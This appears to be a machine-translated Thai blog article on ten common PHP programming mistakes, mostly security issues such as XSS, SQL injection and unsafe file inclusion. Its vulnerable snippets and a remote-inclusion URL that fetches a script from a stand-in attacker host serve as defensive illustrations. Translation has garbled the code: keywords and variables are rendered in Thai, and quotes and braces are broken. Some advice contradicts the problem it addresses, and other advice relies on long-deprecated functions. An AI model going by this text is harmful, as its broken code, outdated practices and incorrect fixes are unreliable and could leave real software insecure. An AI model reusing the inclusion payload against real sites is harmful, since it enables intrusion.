PHP เป็นภาษาการพัฒนาเว็บไซต์ที่ยอดเยี่ยมและเป็นภาษาที่ยืดหยุ่น แต่เราเห็นข้อผิดพลาดบางประการที่โปรแกรมเมอร์ PHP ทำซ้ำแล้วซ้ำอีก ฉันได้ทำรายการข้อผิดพลาดทั่วไป 10 ข้อต่อไปนี้ที่ทำโดยโปรแกรมเมอร์ PHP ซึ่งส่วนใหญ่เกี่ยวข้องกับความปลอดภัย ดูว่าคุณได้ทำผิดพลาดประเภทใด:
1. อย่าเพิกเฉยต่อเอนทิตี html
สามัญสำนึกพื้นฐาน: อินพุตที่ไม่น่าเชื่อถือทั้งหมด (โดยเฉพาะข้อมูลที่ส่งโดยผู้ใช้จากแบบฟอร์ม) จะต้องมีการเปลี่ยนแปลงก่อนเอาต์พุต
เสียงสะท้อน $_GET['usename'] ;
ตัวอย่างนี้อาจแสดงผล:
<script>/*Script เพื่อเปลี่ยนรหัสผ่านผู้ดูแลระบบหรือตั้งค่าคุกกี้*/</script>
นี่เป็นความเสี่ยงด้านความปลอดภัยที่ชัดเจน เว้นแต่คุณจะแน่ใจว่าผู้ใช้ของคุณพิมพ์ถูกต้อง
วิธีแก้ไข:
เราจำเป็นต้องแปลง "< ", ">", "และ" ฯลฯ ให้เป็นรูปแบบ HTML ที่ถูกต้อง (<, >' และ ") ฟังก์ชัน htmlspecialchars และ htmlentities() ทำหน้าที่นี้ทุกประการ
วิธีการที่ถูกต้อง: echo htmlspecialchars ( $_GET['username'], ENT_QUOTES);
2. อย่าเพิกเฉยต่ออินพุต SQL ครั้งหนึ่งฉันเคยพูดถึงปัญหานี้ในบทความวิธีที่ง่ายที่สุดในการป้องกันการฉีด SQL (php+mysql) และให้วิธีการง่ายๆ แก่ฉัน พวกเขาได้ตั้งค่า magic_quotes เป็น On ใน php.ini แล้ว ดังนั้นพวกเขาจึงไม่ต้องกังวลเกี่ยวกับเรื่องนี้ แต่อินพุตทั้งหมดไม่ได้มาจาก $_GET, $_POST หรือ $_COOKIE
จะแก้ไขได้อย่างไร :
เช่นเดียวกับวิธีที่ง่ายที่สุดในการป้องกันการฉีด sql (php+mysql) ฉันยังคงแนะนำ
วิธีที่ถูกต้องในการใช้ฟังก์ชัน mysql_real_escape_string():
<?php
$sql = “อัพเดตชุดผู้ใช้
ชื่อ='.mysql_real_escape_string($ชื่อ)'
โดยที่ id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
3. การใช้ฟังก์ชันที่เกี่ยวข้องกับส่วนหัว HTTP อย่างไม่ถูกต้อง: header(), session_start(), setcookie()
คุณเคยพบคำเตือนนี้หรือไม่" คำเตือน: ไม่สามารถเพิ่มข้อมูลส่วนหัวได้ - ส่วนหัวได้ส่งไปแล้ว [....]
ทุกครั้งที่ดาวน์โหลดหน้าเว็บจากเซิร์ฟเวอร์ ผลลัพธ์ของเซิร์ฟเวอร์จะถูกแบ่งออกเป็นสองส่วน: ส่วนหัวและเนื้อหา
ส่วนหัวประกอบด้วยข้อมูลที่ไม่ใช่ภาพบางส่วน เช่น คุกกี้ ศีรษะจะมาถึงก่อนเสมอ ส่วนข้อความประกอบด้วย html ภาพ รูปภาพ และข้อมูลอื่นๆ
หากตั้งค่า output_buffering เป็น Off จะต้องเรียกใช้ฟังก์ชันที่เกี่ยวข้องกับส่วนหัว HTTP ทั้งหมดก่อนที่จะมีเอาต์พุต ปัญหาคือเมื่อคุณพัฒนาในสภาพแวดล้อมหนึ่งและปรับใช้กับสภาพแวดล้อมอื่น การตั้งค่า output_buffering อาจแตกต่างกัน เป็นผลให้การเปลี่ยนเส้นทางหยุดลง และคุกกี้และเซสชันไม่ได้รับการตั้งค่าอย่างถูกต้อง...
วิธีแก้ไข:
ตรวจสอบให้แน่ใจว่าได้เรียกใช้ฟังก์ชันที่เกี่ยวข้องกับ http-header ก่อนที่จะส่งออก และตั้งค่า output_buffering = Off
-
4. กำหนดหรือรวมไฟล์ที่ใช้ข้อมูลที่ไม่ปลอดภัย อีกครั้ง: อย่าเชื่อถือข้อมูลที่ไม่ได้ประกาศโดยตัวคุณเองอย่างชัดเจน อย่ารวมหรือต้องการไฟล์ที่ได้รับจาก $_GET, $_POST หรือ $_COOKIE
ตัวอย่างเช่น:
ดัชนี.php
-
//รวมถึงส่วนหัว, การกำหนดค่า, การเชื่อมต่อฐานข้อมูล ฯลฯ
รวม($_GET['ชื่อไฟล์']);
//รวมทั้งส่วนท้ายด้วย
?>
ตอนนี้แฮกเกอร์คนไหนก็สามารถใช้ได้: http://www.yourdomain.com/index.php?filename=anyfile.txt
เพื่อรับข้อมูลที่เป็นความลับของคุณหรือรันสคริปต์ PHP
หาก Allow_url_fopen=On แสดงว่าคุณตายแล้ว:
ลองอินพุตนี้:
http://www.yourdomain.com/index . … n.com%2Fphphack.php
ตอนนี้หน้าเว็บของคุณมีผลลัพธ์ของ http://www.youaredoomed.com/phphack.php . ไฟล์ที่ถูกลบ ฯลฯ อะไรก็ได้ที่คุณสามารถจินตนาการได้
วิธีแก้ไข:
คุณต้องควบคุมว่าไฟล์ใดบ้างที่สามารถรวมไว้ในคำสั่งรวมหรือต้องการได้
ต่อไปนี้เป็นวิธีแก้ปัญหาอย่างรวดเร็วแต่ไม่ครอบคลุม:
-
//รวมเฉพาะไฟล์ที่ได้รับอนุญาตเท่านั้น
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['ชื่อไฟล์'],$allowedFiles)) {
รวม($_GET['ชื่อไฟล์']);
-
อื่น{
exit('ไม่ได้รับอนุญาต');
-
?>
5. ข้อผิดพลาดทางไวยากรณ์ ข้อผิดพลาดทางไวยากรณ์รวมถึงข้อผิดพลาดด้านคำศัพท์และไวยากรณ์ทั้งหมดที่พบบ่อยมากจนฉันต้องแสดงรายการไว้ที่นี่ วิธีแก้ไขคือการศึกษาไวยากรณ์ของ PHP อย่างรอบคอบ และระวังอย่าให้เครื่องหมายวงเล็บ วงเล็บปีกกา อัฒภาค หรือเครื่องหมายคำพูดพลาด หาโปรแกรมแก้ไขที่ดีและอย่าใช้ Notepad!
6. มีการใช้โปรเจ็กต์เชิงวัตถุน้อยหรือไม่มีเลย หลายโปรเจ็กต์ไม่ได้ใช้เทคโนโลยีเชิงวัตถุของ PHP ส่งผลให้การบำรุงรักษาโค้ดใช้เวลานานมากและต้องใช้แรงงานมาก PHP รองรับเทคโนโลยีเชิงวัตถุมากขึ้นเรื่อยๆ และกำลังดีขึ้นเรื่อยๆ ไม่มีเหตุผลใดที่เราไม่ควรใช้เทคโนโลยีเชิงวัตถุ
7. ไม่ใช้เฟรมเวิร์ก
95% ของโปรเจ็กต์ PHP กำลังทำสี่สิ่งเดียวกัน: สร้าง แก้ไข แสดงรายการ และลบ ขณะนี้มีเฟรมเวิร์ก MVC มากมายเพื่อช่วยเราทำสี่สิ่งนี้ให้สำเร็จ ทำไมเราไม่ใช้มันล่ะ
8. ไม่ทราบถึงฟังก์ชันการทำงานที่มีอยู่ใน PHP อยู่แล้ว
แกนหลักของ PHP มีฟังก์ชันมากมาย โปรแกรมเมอร์หลายคนคิดค้นวงล้อขึ้นมาใหม่ซ้ำแล้วซ้ำอีก เสียเวลาไปมาก ก่อนที่จะเขียนโค้ด ให้ค้นหา PHP mamual และค้นหาใน Google คุณอาจค้นพบสิ่งใหม่ๆ! exec() ใน PHP เป็นฟังก์ชันอันทรงพลังที่สามารถรันคำสั่งเชลล์ cmd และส่งคืนบรรทัดสุดท้ายของผลลัพธ์การดำเนินการในรูปแบบของสตริง เพื่อความปลอดภัย คุณสามารถใช้ EscapeShellCmd()
9 ได้ ใช้ PHP เวอร์ชันเก่ากว่า
โปรแกรมเมอร์จำนวนมากยังคงใช้ PHP4 การพัฒนาบน PHP4 ไม่สามารถแสดงศักยภาพของ PHP ได้อย่างเต็มที่ และยังมีความเสี่ยงด้านความปลอดภัยอยู่บ้าง เปลี่ยนไปใช้ PHP5 โดยไม่ต้องใช้ความพยายามมากนัก โปรแกรม PHP4 ส่วนใหญ่สามารถย้ายไปยัง PHP5 ได้โดยมีการเปลี่ยนแปลงคำสั่งเพียงเล็กน้อยหรือไม่มีเลยด้วยซ้ำ จากการสำรวจของ http://www.nexen.net พบว่ามีเซิร์ฟเวอร์ PHP เพียง 12% เท่านั้นที่ใช้ PHP5 ดังนั้น 88% ของนักพัฒนา PHP ยังคงใช้ PHP4
10. เปลี่ยนเครื่องหมายคำพูดสองครั้ง ' หรือปรากฏในเว็บ หน้า '"? โดยปกติมักเป็นเพราะ magic_quotes ถูกตั้งค่าเป็นปิดในสภาพแวดล้อมของนักพัฒนา แต่ magic_quotes=on บนเซิร์ฟเวอร์ที่ใช้งาน PHP จะเรียกใช้ addslashes() ซ้ำ ๆ กับข้อมูลใน GET, POST และ COOKIE
ข้อความต้นฉบับ:
มันเป็น
คำพูดวิเศษของสตริงเมื่อ:
มันเป็นสตริง
วิ่งอีกครั้ง
เพิ่มสแลช():
มันเป็นเอาต์พุต HTML สตริง
:
มันเป็นสตริง
อีกสถานการณ์หนึ่งคือผู้ใช้ป้อนข้อมูลการเข้าสู่ระบบผิดในตอนเริ่มต้น หลังจากที่เซิร์ฟเวอร์ตรวจพบการป้อนข้อมูลที่ไม่ถูกต้อง มันจะส่งออกรูปแบบเดียวกันและต้องการให้ผู้ใช้ป้อนข้อมูลอีกครั้ง ทำให้การป้อนข้อมูลของผู้ใช้เปลี่ยนแปลงสองครั้ง!